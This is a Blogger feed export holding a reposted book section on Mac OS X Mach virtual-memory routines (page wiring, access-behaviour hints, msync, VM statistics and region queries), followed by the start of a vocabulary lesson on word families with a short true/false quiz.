&lt;tt&gt;mach_vm_wire()&lt;/tt&gt;&lt;/H4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_wire()&lt;/tt&gt; alters the given memory region's pageability: If the &lt;tt&gt;wired_access&lt;/tt&gt; argument is one of &lt;tt&gt;VM_PROT_READ&lt;/tt&gt;, &lt;tt&gt;VM_PROT_WRITE&lt;/tt&gt;, &lt;tt&gt;VM_PROT_EXECUTE&lt;/tt&gt;, or a combination thereof, the region's pages are protected accordingly and wired in physical memory. If &lt;tt&gt;wired_access&lt;/tt&gt; is &lt;tt&gt;VM_PROT_NONE&lt;/tt&gt;, the pages are unwired. Since wiring pages is a privileged operation, &lt;tt&gt;vm_wire()&lt;/tt&gt; requires send rights to the host's control port. The &lt;tt&gt;host_get_host_priv_port()&lt;/tt&gt; routine, which itself requires superuser privileges, can be used to acquire these rights.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_wire&lt;/span&gt;(host_priv_t       host,&lt;br /&gt;             vm_map_t          target_task,&lt;br /&gt;             mach_vm_address_t address,&lt;br /&gt;             mach_vm_size_t    size,&lt;br /&gt;             vm_prot_t         wired_access);&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;div class="docNote"&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="docText"&gt;Unlike other Mach VM routines discussed so far, &lt;tt&gt;mach_vm_wire()&lt;/tt&gt; is exported by the &lt;tt&gt;host_priv&lt;/tt&gt; MIG subsystem.&lt;/p&gt;&lt;br /&gt;&lt;/P&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;H4 id="title-IDAYP4YG" class="docSection2Title"&gt;8.6.11. &lt;tt&gt;mach_vm_behavior_set()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_behavior_set()&lt;/tt&gt; specifies the expected page reference behaviorthe access patternfor the given memory region. This information is used during page-fault handling to determine which pages, if any, to deactivate based on the memory access pattern.&lt;/P&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_behavior_set&lt;/span&gt;(vm_map_t          target_task,&lt;br /&gt;                     mach_vm_address_t address,&lt;br /&gt;                     mach_vm_size_t    size,&lt;br /&gt;                     vm_behavior_t     behavior);&lt;/pre&gt;&lt;/div&gt;&lt;BR&gt;&lt;br /&gt;&lt;p class="docText"&gt;The &lt;tt&gt;behavior&lt;/tt&gt; argument can take the following values:&lt;/P&gt;&lt;br /&gt;&lt;UL&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_BEHAVIOR_DEFAULT&lt;/tt&gt; the default behavior for all nascent memory&lt;/p&gt;&lt;/LI&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_BEHAVIOR_RANDOM&lt;/tt&gt; random access pattern&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_BEHAVIOR_SEQUENTIAL&lt;/tt&gt; sequential access (forward)&lt;/p&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_BEHAVIOR_RSEQNTL&lt;/tt&gt; sequential access (reverse)&lt;/p&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_BEHAVIOR_WILLNEED&lt;/tt&gt; will need these pages in the near future&lt;/p&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docText"&gt;&lt;tt&gt;VM_BEHAVIOR_DONTNEED&lt;/tt&gt; will not need these pages in the near future&lt;/P&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p class="docText"&gt;The kernel maps the &lt;tt&gt;VM_BEHAVIOR_WILLNEED&lt;/tt&gt; and &lt;tt&gt;VM_BEHAVIOR_DONTNEED&lt;/tt&gt; reference behavior specifications to the default behavior, which assumes a strong locality of reference.&lt;/p&gt;&lt;br /&gt;&lt;div class="docNote"&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_behavior_set()&lt;/tt&gt; is analogous to the &lt;tt&gt;madvise()&lt;/tt&gt; system call. In fact, the Mac OS X &lt;tt&gt;madvise()&lt;/tt&gt; implementation is a simple wrapper around the in-kernel equivalent of &lt;tt&gt;mach_vm_behavior_set()&lt;/tt&gt;.&lt;/p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;Since the expected reference behavior is applied to a memory range, the behavior setting is recorded as part of the VM map entry structure (&lt;tt&gt;struct vm_map_entry&lt;/tt&gt; [&lt;tt&gt;osfmk/vm/vm_map.h&lt;/tt&gt;]). Upon a page fault, the fault handler uses the behavior setting to determine which, if any, of the active pages are uninteresting enough to be deactivated. This mechanism also uses the &lt;tt&gt;sequential&lt;/tt&gt; and &lt;tt&gt;last_alloc&lt;/tt&gt; fields of the VM object structure (&lt;tt&gt;struct vm_object&lt;/tt&gt; [&lt;tt&gt;osfmk/vm/vm_object.h&lt;/tt&gt;]). The &lt;tt&gt;sequential&lt;/tt&gt; field records the sequential access size, whereas &lt;tt&gt;last_alloc&lt;/tt&gt; records the last allocation offset in that object.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;If the reference behavior is &lt;tt&gt;VM_BEHAVIOR_RANDOM&lt;/tt&gt;, the sequential access size is always kept as the page size, and no page is deactivated.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;If the behavior is &lt;tt&gt;VM_BEHAVIOR_SEQUENTIAL&lt;/tt&gt;, the page-fault handler examines the current and last allocation offsets to see if the access pattern is indeed sequential. If so, the &lt;tt&gt;sequential&lt;/tt&gt; field is incremented by a page size, and the immediate last page is deactivated. If, however, the access is not sequential, the fault handler resets its recording by setting the &lt;tt&gt;sequential&lt;/tt&gt; field to the page size. No page is deactivated in this case. The handling of &lt;tt&gt;VM_BEHAVIOR_RSEQNTL&lt;/tt&gt; is similar, except the notion of sequential is reversed.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;In the case of &lt;tt&gt;VM_BEHAVIOR_DEFAULT&lt;/tt&gt;, the handler attempts to establish an access pattern based on the current and last offsets. If they are not consecutive (in units of a page), the access is deemed random, and no page is deactivated. If they are consecutive, whether increasing or decreasing, the handler increments the &lt;tt&gt;sequential&lt;/tt&gt; field by a page size. If the pattern continues and the recorded sequential access size exceeds &lt;tt&gt;MAX_UPL_TRANSFER&lt;/tt&gt; (256) pages, the page that is &lt;tt&gt;MAX_UPL_TRANSFER&lt;/tt&gt; pages away (behind or forward, depending on the direction) is deactivated. While the recorded sequential access size remains less than &lt;tt&gt;MAX_UPL_TRANSFER&lt;/tt&gt;, no page is deactivated. If, however, the pattern is broken, the sequential access size is reset to the page size.&lt;/p&gt;&lt;br /&gt;&lt;div class="docNote"&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="docText"&gt;Page deactivation involves calling &lt;tt&gt;vm_page_deactivate()&lt;/tt&gt; [&lt;tt&gt;osfmk/vm/vm_resident.c&lt;/tt&gt;], which returns the page to the inactive queue.&lt;/P&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;BR&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDAKV4YG" class="docSection2Title"&gt;8.6.12. &lt;tt&gt;mach_vm_msync()&lt;/tt&gt;&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_msync()&lt;/tt&gt; synchronizes the given memory range with its pager.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_msync&lt;/span&gt;(vm_map_t          target_task,&lt;br /&gt;              mach_vm_address_t address,&lt;br /&gt;              mach_vm_size_t    size,&lt;br /&gt;              vm_sync_t         sync_flags);&lt;/pre&gt;&lt;/div&gt;&lt;BR&gt;&lt;br /&gt;&lt;p class="docText"&gt;The &lt;tt&gt;sync_flags&lt;/tt&gt; argument is the bitwise OR of synchronization bits defined in &lt;tt&gt;&amp;lt;mach/vm_sync.h&amp;gt;&lt;/tt&gt;. The following are examples of valid combinations.&lt;/p&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;p class="docList"&gt;&lt;tt&gt;VM_SYNC_INVALIDATE&lt;/tt&gt; flushes pages in the given memory range, returning only precious pages to the pager and discarding dirty pages.&lt;/p&gt;&lt;/LI&gt;&lt;li&gt;&lt;p class="docList"&gt;If &lt;tt&gt;VM_SYNC_ASYNCHRONOUS&lt;/tt&gt; is specified along with &lt;tt&gt;VM_SYNC_INVALIDATE&lt;/tt&gt;, both dirty and precious pages are returned to the pager, but the call returns without waiting for the pages to reach the backing store.&lt;/P&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docList"&gt;&lt;tt&gt;VM_SYNC_SYNCHRONOUS&lt;/tt&gt; is similar to &lt;tt&gt;VM_SYNC_ASYNCHRONOUS&lt;/tt&gt;, but the call does not return until the pages reach the backing store.&lt;/P&gt;&lt;/LI&gt;&lt;LI&gt;&lt;p class="docList"&gt;When either &lt;tt&gt;VM_SYNC_ASYNCHRONOUS&lt;/tt&gt; or &lt;tt&gt;VM_SYNC_SYNCHRONOUS&lt;/tt&gt; is specified by itself, both dirty and precious pages are returned to the pager without flushing any pages.&lt;/P&gt;&lt;/li&gt;&lt;LI&gt;&lt;p class="docList"&gt;If &lt;tt&gt;VM_SYNC_CONTIGUOUS&lt;/tt&gt; is specified, the call returns &lt;tt&gt;KERN_INVALID_ADDRESS&lt;/tt&gt; if the specified memory range is not mapped in its entiretythat is, if the range has a hole in it. Nevertheless, the call still completes its work as it would have if &lt;tt&gt;VM_SYNC_CONTIGUOUS&lt;/tt&gt; were not specified.&lt;/P&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;p&gt;&lt;table cellspacing="0" width="90%" border="1" cellpadding="5"&gt;&lt;tr&gt;&lt;TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;h2 class="docSidebarTitle"&gt;Precious Pages&lt;/h2&gt;&lt;br /&gt;&lt;p class="docText"&gt;A precious page is used when only one copy of its data is desired. There may not be a copy of a precious page's data both in the backing store and in memory. When a pager provides a precious page to the kernel, it means that the pager has not necessarily retained its own copy. When the kernel must evict such pages, they must be returned to the pager, even if they had not been modified while resident.&lt;/P&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/p&gt;&lt;BR&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_msync()&lt;/tt&gt; is analogous to the &lt;tt&gt;msync()&lt;/tt&gt; system call. In fact, the &lt;tt&gt;msync()&lt;/tt&gt; implementation uses the in-kernel equivalent of &lt;tt&gt;mach_vm_sync()&lt;/tt&gt;. POSIX.1 requires &lt;tt&gt;msync()&lt;/tt&gt; to return an &lt;tt&gt;ENOMEM&lt;/tt&gt; error if there are holes in the region being synchronized. Therefore, &lt;tt&gt;msync()&lt;/tt&gt; always sets the &lt;tt&gt;VM_SYNC_CONTIGUOUS&lt;/tt&gt; bit before calling the in-kernel version of &lt;tt&gt;mach_vm_msync()&lt;/tt&gt;. If the latter returns &lt;tt&gt;KERN_INVALID_ADDRESS&lt;/tt&gt;, &lt;tt&gt;msync()&lt;/tt&gt; TRanslates the error to &lt;tt&gt;ENOMEM&lt;/tt&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;h4 id="title-IDAB04YG" class="docSection2Title"&gt;8.6.13. Statistics&lt;/h4&gt;&lt;br /&gt;&lt;p class="docText"&gt;System-wide VM statistics can be retrieved using the &lt;tt&gt;HOST_VM_INFO&lt;/tt&gt; flavor of the &lt;tt&gt;host_statistics()&lt;/tt&gt; Mach routine. The &lt;tt&gt;vm_stat&lt;/tt&gt; command-line program also displays these statistics.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;$ &lt;span class="docEmphStrong"&gt;vm_stat&lt;/span&gt;&lt;br /&gt;Mach Virtual Memory Statistics: (page size of 4096 bytes)&lt;br /&gt;Pages free:                   144269.&lt;br /&gt;Pages active:                 189526.&lt;br /&gt;Pages inactive:               392812.&lt;br /&gt;Pages wired down:              59825.&lt;br /&gt;"Translation faults":       54697978.&lt;br /&gt;Pages copy-on-write:          800440.&lt;br /&gt;Pages zero filled:          38386710.&lt;br /&gt;Pages reactivated:            160297.&lt;br /&gt;Pageins:                       91327.&lt;br /&gt;Pageouts:                       4335.&lt;br /&gt;Object cache: 205675 hits of 378912 lookups (54% hit rate)&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;&lt;tt&gt;mach_vm_region()&lt;/tt&gt; returns information about a memory region in the given address space. The &lt;tt&gt;address&lt;/tt&gt; argument specifies the location at which &lt;tt&gt;mach_vm_region()&lt;/tt&gt; starts to look for a valid region. The outbound values of &lt;tt&gt;address&lt;/tt&gt; and &lt;tt&gt;size&lt;/tt&gt; specify the range of the region actually found. The &lt;tt&gt;flavor&lt;/tt&gt; argument specifies the type of information to retrieve, with &lt;tt&gt;info&lt;/tt&gt; pointing to a structure appropriate for the flavor being requested. For example, the &lt;tt&gt;VM_REGION_BASIC_INFO&lt;/tt&gt; flavor is used with a &lt;tt&gt;vm_region_basic_info&lt;/tt&gt; structure. The &lt;tt&gt;count&lt;/tt&gt; argument specifies the size of the input buffer in units of &lt;tt&gt;natural_t&lt;/tt&gt;. For example, to retrieve information for the &lt;tt&gt;VM_REGION_BASIC_INFO&lt;/tt&gt; flavor, the size of the input buffer must be at least &lt;tt&gt;VM_REGION_BASIC_INFO_COUNT&lt;/tt&gt;. The outbound value of &lt;tt&gt;count&lt;/tt&gt; specifies the size of the data filled in by the call.&lt;/p&gt;&lt;br /&gt;&lt;div class="docText"&gt;&lt;pre&gt;kern_return_t&lt;br /&gt;&lt;span class="docEmphStrong"&gt;mach_vm_region&lt;/span&gt;(vm_map_t                target_task,&lt;br /&gt;               mach_vm_address_t      *address,&lt;br /&gt;               mach_vm_size_t         *size,&lt;br /&gt;               vm_region_flavor_t      flavor,&lt;br /&gt;               vm_region_info_t        info,&lt;br /&gt;               mach_msg_type_number_t *info_count,&lt;br /&gt;               mach_port_t            *object_name);&lt;/pre&gt;&lt;/div&gt;&lt;br&gt;&lt;br /&gt;&lt;p class="docText"&gt;Note that a task should be suspended before &lt;tt&gt;mach_vm_region()&lt;/tt&gt; is called on it, otherwise the results obtained may not provide a true picture of the task's VM situation.&lt;/p&gt;&lt;br /&gt;&lt;p class="docText"&gt;The &lt;tt&gt;mach_vm_region_recurse()&lt;/tt&gt; variant recurses into submap chains in the given task's address map. The &lt;tt&gt;vmmap&lt;/tt&gt; command-line program uses both variants to retrieve information about the virtual memory regions allocated in the given process.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/table&gt;&lt;br /&gt;&lt;br&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;tr&gt;&lt;td&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;td align="right"&gt;&lt;div STYLE="MARGIN-LEFT: 0.15in;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7574002992445333926-3130875810351911183?l=yoursubtitle.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yoursubtitle.blogspot.com/feeds/3130875810351911183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-86-mach-vm-user-space-interface.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3130875810351911183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7574002992445333926/posts/default/3130875810351911183'/><link rel='alternate' type='text/html' href='http://yoursubtitle.blogspot.com/2009/11/section-86-mach-vm-user-space-interface.html' title='Section 8.6.  The Mach VM User-Space Interface'/><author><name>rong889</name><uri>http://www.blogger.com/profile/06593146008221514057</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7574002992445333926.post-5585134662923287423</id><published>2009-11-13T07:50:00.031-08:00</published><updated>2009-11-13T07:50:32.858-08:00</updated><title type='text'>Section 2: Word Families</title><content type='html'>&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;td valign="top" class="v2" align="right"&gt;&amp;nbsp;&lt;br /&gt;          &lt;br /&gt;&amp;nbsp;    &lt;br /&gt;          &lt;br /&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;br /&gt;&lt;/table&gt;&lt;br /&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;br /&gt;&lt;br /&gt;&lt;tr&gt;&lt;br /&gt;&lt;br /&gt;&lt;td valign="top"&gt;&lt;H1 class="docPartTitle"&gt;Section 2: Word Families&lt;/H1&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Section 2 of &lt;span class="docEmphasis"&gt;Vocabulary Basics&lt;/span&gt; groups words into &lt;span class="docEmphasis"&gt;families,&lt;/span&gt; words that are related because they express related ideas. While you continue to build familiarity with a set of words for future understanding and use, you will examine relationships among words, using techniques that can be applied to many concepts and word families as you continue to develop your verbal abilities.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Three ways to think about words are covered in these lessons:&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;UL&gt;&lt;br /&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;contrasts&lt;/P&gt;&lt;/LI&gt;&lt;br /&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;categories&lt;/P&gt;&lt;/LI&gt;&lt;br /&gt;&lt;br /&gt;&lt;LI&gt;&lt;P class="docList"&gt;shades of meaning&lt;/P&gt;&lt;/LI&gt;&lt;br /&gt;&lt;br /&gt;&lt;/UL&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;In Lesson 7, you will contrast words and groups of words about communicating. Words about sending and receiving, positive and negative communications, and asking and answering are among those covered. The importance of communications in today's society cannot be overemphasized. Technological developments have made the communication of messages faster and wider-reaching than ever before.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;In Lesson 8, you will examine relationships among words that describe size and amount, categorize them, and put them "in order." You will learn that some words meaning "big," "small," "many," or "few" are usually used in specific situations. We call a small sum of money &lt;span class="docEmphasis"&gt;paltry,&lt;/span&gt; but we wouldn't call a small animal or person or house &lt;span class="docEmphasis"&gt;paltry.&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;In Lesson 9, you will compare words that describe importance, which are not easily put in order and are often used only in certain contexts. Importance is not a concrete entity that can be weighed and measured. Consequently, words related to this concept must express the "weight" of importance through differences in meaning that may be subtle or slight, but significant. You will examine words related to degrees of importance and understand differences in shades of meaning.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" WIDTH="90%" BORDER="1"&gt;&lt;TR&gt;&lt;TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;H2 class="docSidebarTitle"&gt;WHAT DO YOU KNOW?&lt;/H2&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;TRUE OR FALSE?&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;Circle T or F to indicate whether each of the following statements is true or false. On a separate sheet of paper, state why you chose that answer.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;P&gt;&lt;TABLE BORDER="0" cellspacing="16" cellpadding="0"&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;Q1:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" FRAME="void" RULES="none" CELLPADDING="5" WIDTH="90%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;COLGROUP align="left" span="3"&gt;&lt;br /&gt;&lt;br /&gt;&lt;THEAD&gt;&lt;/THEAD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;T&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;F&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;1. All words are neutral. They become positive or negative only by virtue of the way they are used.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;/COLGROUP&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;&lt;br /&gt;&lt;br /&gt;          A1:&lt;br /&gt;&lt;br /&gt;        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;F&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;Q2:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" FRAME="void" RULES="none" CELLPADDING="5" WIDTH="90%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;COLGROUP align="left" span="3"&gt;&lt;br /&gt;&lt;br /&gt;&lt;THEAD&gt;&lt;/THEAD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;T&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;F&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;2. &lt;span class="docEmphasis"&gt;Imply&lt;/span&gt; refers to what a speaker does. &lt;span class="docEmphasis"&gt;Infer&lt;/span&gt; refers to what a listener does.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;/COLGROUP&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;&lt;br /&gt;&lt;br /&gt;          A2:&lt;br /&gt;&lt;br /&gt;        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;T&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;Q3:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" FRAME="void" RULES="none" CELLPADDING="5" WIDTH="90%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;COLGROUP align="left" span="3"&gt;&lt;br /&gt;&lt;br /&gt;&lt;THEAD&gt;&lt;/THEAD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;T&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;F&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;3. &lt;span class="docEmphasis"&gt;Excessive, exorbitant, extravagant,&lt;/span&gt; and &lt;span class="docEmphasis"&gt;immoderate&lt;/span&gt; all mean "too many" or "too much."&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;/COLGROUP&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TABLE&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;&lt;br /&gt;&lt;br /&gt;          A3:&lt;br /&gt;&lt;br /&gt;        &lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;T&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR valign="top"&gt;&lt;TD align="right" class="docText"&gt;&lt;B&gt;Q4:&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;P class="docText"&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;P&gt;&lt;TABLE CELLSPACING="0" FRAME="void" RULES="none" CELLPADDING="5" WIDTH="90%"&gt;&lt;br /&gt;&lt;br /&gt;&lt;COLGROUP align="left" span="3"&gt;&lt;br /&gt;&lt;br /&gt;&lt;THEAD&gt;&lt;/THEAD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TR&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;T&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;&lt;span class="docEmphStrong"&gt;F&lt;/span&gt;&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;TD class="docTableCell" align="left" valign="top"&gt;&lt;br /&gt;&lt;br /&gt;&lt;P class="docText"&gt;4. The words &lt;span class="docEmphasis"&gt;some, several,&lt;/span&gt; and &lt;span class="docEmphasis"&gt;numerous&lt;/span&gt; are in order of quantity, from fewest to most.&lt;/P&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TD&gt;&lt;br /&gt;&lt;br /&gt;&lt;/TR&gt;&lt;br /&gt;&lt;br 